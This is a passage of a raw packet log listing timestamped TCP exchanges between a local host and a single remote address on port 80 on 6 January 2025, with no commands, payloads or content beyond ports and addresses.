Jan 6, 2025 07:59:03.088323116 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088334084 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088350058 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088361979 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088390112 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088402987 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088414907 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088428020 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088521957 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.088521957 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.088541031 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088561058 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088573933 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088586092 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088597059 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088609934 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088622093 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.088623047 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088632107 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.088638067 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088654041 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088664055 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088674068 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088675976 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.088685036 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088696957 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.088697910 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088706017 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.088709116 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088723898 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088732958 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.088737965 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088754892 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088764906 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.088767052 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088777065 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088788033 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088799000 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088799953 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.088813066 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.088824034 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.088834047 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.089152098 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089164019 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089174032 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089193106 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089205027 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089215040 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089215994 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.089221001 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089226007 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089243889 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089255095 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089266062 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089267969 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.089277029 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089288950 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089298010 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.089301109 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089343071 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089348078 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.089354038 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089365005 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089375019 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089385033 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089386940 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.089411020 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089411020 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.089426994 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089433908 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.089437008 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089448929 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089458942 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089469910 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089472055 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.089481115 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089498043 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089504004 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.089518070 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089521885 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.089535952 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089540005 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.089546919 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089557886 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089570999 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089571953 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.089581013 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089591980 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089596033 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.089601994 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089612961 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089627981 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089636087 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.089648962 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089660883 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089667082 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.089667082 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.089670897 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089682102 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089692116 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089692116 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.089703083 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089720964 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089725971 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.089734077 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089745045 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089745045 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.089755058 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089765072 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089776993 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089786053 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.089795113 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089812040 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.089812040 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.089813948 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089832067 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089843035 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089853048 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089855909 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.089864016 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089874983 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089886904 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089889050 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.089896917 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089907885 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089910030 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.089917898 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.089930058 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.090002060 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.148592949 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.179879904 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180013895 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180025101 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180036068 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180062056 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180073023 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180083990 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180089951 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180097103 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180116892 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180119991 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180129051 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180139065 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180150986 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180152893 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180161953 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180172920 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180175066 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180182934 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180193901 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180196047 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180212975 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180226088 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180236101 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180252075 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180259943 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180263042 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180273056 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180274010 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180284977 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180295944 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180305958 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180309057 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180316925 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180326939 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180327892 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180346966 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180357933 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180363894 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180366993 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180375099 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180387974 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180398941 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180409908 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180414915 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180421114 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180433989 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180433989 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180450916 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180458069 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180469036 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180475950 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180480957 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180501938 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180506945 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180511951 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180521965 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180532932 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180543900 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180547953 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180553913 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180567026 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180567980 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180577993 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180584908 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180632114 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180655003 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180666924 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180677891 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180680990 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180686951 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180706024 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180706978 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180716991 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180723906 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180727959 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180738926 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180749893 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180761099 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180764914 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180772066 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180783033 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180785894 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180794001 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180804968 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180815935 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180815935 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180831909 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180843115 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180854082 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180876970 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180879116 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180887938 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180891037 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180902958 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180915117 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180931091 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.180972099 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180982113 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.180993080 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181000948 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.181000948 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.181005001 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181016922 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181024075 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.181027889 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181037903 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181046009 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.181050062 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181068897 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181071997 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.181085110 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181097031 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181118011 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181129932 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.181129932 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181129932 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.181135893 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181137085 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181138039 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181138992 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181140900 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181152105 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181164026 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181195021 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.181210995 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181214094 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.181221962 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181232929 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181245089 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181256056 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.181257010 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181269884 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181281090 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.181329966 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.181371927 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181389093 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181391001 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181396008 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181406975 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181420088 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.181422949 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181442976 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181444883 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.181453943 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181463957 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181468010 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.181474924 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181488037 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.181493044 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181504965 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181516886 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181516886 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.181529045 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.181541920 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181555986 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181566000 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181571007 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.181581020 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181591988 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181602955 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181605101 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.181616068 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181628942 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.181639910 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.181648970 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.183235884 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.277906895 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.277930021 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.277947903 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.277962923 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.277975082 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.277990103 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278014898 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278019905 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278027058 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278037071 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278038979 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278047085 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278065920 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278069973 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278081894 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278091908 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278091908 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278104067 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278117895 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278129101 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278131962 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278140068 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278151035 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278151989 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278172016 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278194904 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278206110 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278214931 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278218985 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278224945 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278249979 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278265953 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278276920 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278286934 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278290987 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278299093 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278311014 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278321981 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278330088 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.278358936 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278369904 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278379917 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.278388977 CET	80	49706	147.45.44.131	192.168.2.5
